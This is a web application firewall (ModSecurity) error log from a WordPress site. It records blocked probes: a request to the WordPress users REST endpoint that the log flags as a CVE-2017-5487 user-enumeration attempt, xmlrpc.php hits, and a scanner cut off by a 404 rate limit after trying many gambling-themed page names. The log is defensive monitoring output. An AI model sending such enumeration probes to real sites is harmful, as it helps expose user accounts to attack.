[Mon Feb 02 00:16:48.479254 2026] [:error] [pid 8780:tid 8803] [client 34.123.24.137:51395] [client 34.123.24.137] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aX98cKG6IrMzWSzSdUfNIgAAAlI"]
[Mon Feb 02 00:16:50.780369 2026] [:error] [pid 8780:tid 8797] [client 34.123.24.137:51395] [client 34.123.24.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.123.24.137, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aX98cqG6IrMzWSzSdUfNJgAAAkw"]
[Mon Feb 02 00:16:50.937491 2026] [:error] [pid 8965:tid 8972] [client 34.123.24.137:51330] [client 34.123.24.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.123.24.137, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aX98cuNHEHhgRhn3G7RM5AAAAwQ"]
[Mon Feb 02 02:47:08.647038 2026] [:error] [pid 29578:tid 29589] [client 91.65.123.43:8006] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aX-frEwa4IUBrS8Q04EI1AAAAYc"]
[Mon Feb 02 02:47:12.965200 2026] [:error] [pid 8780:tid 8791] [client 91.65.123.43:58904] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aX-fsKG6IrMzWSzSdUfhHgAAAkY"]
[Mon Feb 02 02:47:15.710088 2026] [:error] [pid 10509:tid 10574] [client 91.65.123.43:15630] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aX-fs1MNpJBihOJgwVtNkgAAAIM"]
[Mon Feb 02 02:47:18.394371 2026] [:error] [pid 10616:tid 10625] [client 91.65.123.43:57940] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aX-ftmd8pZdmVx6pUp4-ugAAAMU"]
[Mon Feb 02 02:47:21.061958 2026] [:error] [pid 10616:tid 10639] [client 91.65.123.43:59034] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aX-fuWd8pZdmVx6pUp4-wQAAANM"]
[Mon Feb 02 02:47:23.663655 2026] [:error] [pid 10509:tid 10574] [client 91.65.123.43:45052] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aX-fu1MNpJBihOJgwVtNnwAAAIM"]
[Mon Feb 02 02:47:26.322841 2026] [:error] [pid 8780:tid 8802] [client 91.65.123.43:19806] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aX-fvqG6IrMzWSzSdUfhJwAAAlE"]
[Mon Feb 02 02:47:29.072778 2026] [:error] [pid 8752:tid 8759] [client 91.65.123.43:64688] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aX-fwUFFilE3DptZFcpBLgAAAgU"]
[Mon Feb 02 02:47:31.664845 2026] [:error] [pid 2033:tid 2042] [client 91.65.123.43:63374] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aX-fw_F7B4oR5nK3T_Nb4QAAAQc"]
[Mon Feb 02 02:47:34.437423 2026] [:error] [pid 29578:tid 29589] [client 91.65.123.43:25612] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aX-fxkwa4IUBrS8Q04EI_AAAAYc"]
[Mon Feb 02 02:47:37.322658 2026] [:error] [pid 10616:tid 10622] [client 91.65.123.43:58355] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aX-fyWd8pZdmVx6pUp4-ygAAAMI"]
[Mon Feb 02 02:47:40.082084 2026] [:error] [pid 29578:tid 29584] [client 91.65.123.43:8131] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aX-fzEwa4IUBrS8Q04EJBgAAAYI"]
[Mon Feb 02 02:47:42.947052 2026] [:error] [pid 2033:tid 2037] [client 91.65.123.43:48660] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aX-fzvF7B4oR5nK3T_Nb8gAAAQI"]
[Mon Feb 02 02:47:45.555051 2026] [:error] [pid 8781:tid 8822] [client 91.65.123.43:63722] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aX-f0S8oB7b2tIX_lkWM2gAAAoo"]
[Mon Feb 02 02:47:48.295931 2026] [:error] [pid 8877:tid 8885] [client 91.65.123.43:9229] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aX-f1FjWRgIEkmjg6ouynAAAAsQ"]
[Mon Feb 02 02:47:51.021697 2026] [:error] [pid 29578:tid 29605] [client 91.65.123.43:53571] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aX-f10wa4IUBrS8Q04EJDgAAAZc"]
[Mon Feb 02 02:47:53.735533 2026] [:error] [pid 2033:tid 2049] [client 91.65.123.43:39682] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aX-f2fF7B4oR5nK3T_Nb_wAAAQ4"]
[Mon Feb 02 02:47:56.431828 2026] [:error] [pid 10509:tid 10575] [client 91.65.123.43:11141] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aX-f3FMNpJBihOJgwVtNrgAAAIQ"]
[Mon Feb 02 02:47:59.168081 2026] [:error] [pid 2033:tid 2053] [client 91.65.123.43:59825] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aX-f3_F7B4oR5nK3T_NcDgAAARI"]
[Mon Feb 02 02:48:01.856866 2026] [:error] [pid 2033:tid 2063] [client 91.65.123.43:39007] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aX-f4fF7B4oR5nK3T_NcEgAAARY"]
[Mon Feb 02 02:48:51.492294 2026] [:error] [pid 10616:tid 10638] [client 91.65.123.43:19701] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aX-gE2d8pZdmVx6pUp4_HwAAANI"]
[Mon Feb 02 02:48:54.151125 2026] [:error] [pid 10616:tid 10630] [client 91.65.123.43:23334] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aX-gFmd8pZdmVx6pUp4_IgAAAMo"]
[Mon Feb 02 02:48:56.939359 2026] [:error] [pid 51610:tid 51620] [client 91.65.123.43:51329] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aX-gGN7GFdNFAqImMQBfngAAAUY"]
[Mon Feb 02 02:48:59.741007 2026] [:error] [pid 51610:tid 51628] [client 91.65.123.43:44307] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aX-gG97GFdNFAqImMQBfpQAAAU4"]
[Mon Feb 02 02:49:02.535253 2026] [:error] [pid 8877:tid 8896] [client 91.65.123.43:62173] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aX-gHljWRgIEkmjg6ouyzwAAAs8"]
[Mon Feb 02 02:49:05.323077 2026] [:error] [pid 8780:tid 8792] [client 91.65.123.43:59841] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aX-gIaG6IrMzWSzSdUfhawAAAkc"]
[Mon Feb 02 02:49:07.961736 2026] [:error] [pid 10616:tid 10631] [client 91.65.123.43:58913] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aX-gI2d8pZdmVx6pUp4_LgAAAMs"]
[Mon Feb 02 02:49:10.751710 2026] [:error] [pid 10616:tid 10627] [client 91.65.123.43:25077] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aX-gJmd8pZdmVx6pUp4_MAAAAMc"]
[Mon Feb 02 02:49:13.556008 2026] [:error] [pid 8781:tid 8823] [client 91.65.123.43:11763] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aX-gKS8oB7b2tIX_lkWNBQAAAos"]
[Mon Feb 02 02:49:16.161671 2026] [:error] [pid 51610:tid 51615] [client 91.65.123.43:24981] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aX-gLN7GFdNFAqImMQBftAAAAUE"]
[Mon Feb 02 02:49:18.934378 2026] [:error] [pid 8752:tid 8771] [client 91.65.123.43:6033] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aX-gLkFFilE3DptZFcpBYAAAAhE"]
[Mon Feb 02 02:49:21.568404 2026] [:error] [pid 8780:tid 8798] [client 91.65.123.43:45187] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aX-gMaG6IrMzWSzSdUfhcQAAAk0"]
[Mon Feb 02 02:49:24.195878 2026] [:error] [pid 2033:tid 2048] [client 91.65.123.43:9548] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aX-gNPF7B4oR5nK3T_NcbwAAAQ0"]
[Mon Feb 02 02:49:26.977857 2026] [:error] [pid 10509:tid 10593] [client 91.65.123.43:17340] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aX-gNlMNpJBihOJgwVtN4wAAAJY"]
[Mon Feb 02 02:49:29.601671 2026] [:error] [pid 8877:tid 8902] [client 91.65.123.43:12761] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aX-gOVjWRgIEkmjg6ouy2gAAAtU"]
[Mon Feb 02 02:49:32.386241 2026] [:error] [pid 10616:tid 10632] [client 91.65.123.43:18375] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aX-gPGd8pZdmVx6pUp4_RQAAAMw"]
[Mon Feb 02 02:49:36.041207 2026] [:error] [pid 10509:tid 10590] [client 91.65.123.43:43077] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aX-gQFMNpJBihOJgwVtN6QAAAJM"]
[Mon Feb 02 02:49:38.746046 2026] [:error] [pid 10616:tid 10633] [client 91.65.123.43:36245] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aX-gQmd8pZdmVx6pUp4_TAAAAM0"]
[Mon Feb 02 02:49:41.509048 2026] [:error] [pid 10616:tid 10643] [client 91.65.123.43:18751] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aX-gRWd8pZdmVx6pUp4_VQAAANc"]
[Mon Feb 02 02:49:44.300630 2026] [:error] [pid 10616:tid 10635] [client 91.65.123.43:20981] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aX-gSGd8pZdmVx6pUp4_XAAAAM8"]
[Mon Feb 02 02:50:35.684924 2026] [:error] [pid 29578:tid 29590] [client 91.65.123.43:35497] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aX-ge0wa4IUBrS8Q04EJrwAAAYg"]
[Mon Feb 02 02:50:38.495038 2026] [:error] [pid 51610:tid 51615] [client 91.65.123.43:32598] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aX-gft7GFdNFAqImMQBf2gAAAUE"]
[Mon Feb 02 02:50:41.230244 2026] [:error] [pid 8877:tid 8883] [client 91.65.123.43:18512] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aX-ggVjWRgIEkmjg6ouzGwAAAsI"]
[Mon Feb 02 02:50:44.026058 2026] [:error] [pid 51610:tid 51637] [client 91.65.123.43:7037] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aX-ghN7GFdNFAqImMQBf3QAAAVc"]
[Mon Feb 02 02:50:46.909075 2026] [:error] [pid 10509:tid 10574] [client 91.65.123.43:33702] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aX-ghlMNpJBihOJgwVtOHQAAAIM"]
[Mon Feb 02 02:50:49.896687 2026] [:error] [pid 51610:tid 51625] [client 91.65.123.43:62414] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aX-gid7GFdNFAqImMQBf4gAAAUs"]
[Mon Feb 02 02:50:52.724133 2026] [:error] [pid 29578:tid 29584] [client 91.65.123.43:59050] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aX-gjEwa4IUBrS8Q04EJ4gAAAYI"]
[Mon Feb 02 02:50:55.502771 2026] [:error] [pid 2033:tid 2063] [client 91.65.123.43:62337] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aX-gj_F7B4oR5nK3T_NcngAAARY"]
[Mon Feb 02 02:50:58.300238 2026] [:error] [pid 10509:tid 10577] [client 91.65.123.43:17167] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aX-gklMNpJBihOJgwVtOLgAAAIY"]
[Mon Feb 02 02:51:01.094748 2026] [:error] [pid 8781:tid 8840] [client 91.65.123.43:26958] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aX-glS8oB7b2tIX_lkWNPwAAApI"]
[Mon Feb 02 02:51:04.061083 2026] [:error] [pid 10616:tid 10626] [client 91.65.123.43:55014] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aX-gmGd8pZdmVx6pUp4_lwAAAMY"]
[Mon Feb 02 02:51:06.721341 2026] [:error] [pid 29578:tid 29592] [client 91.65.123.43:65212] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aX-gmkwa4IUBrS8Q04EJ7AAAAYo"]
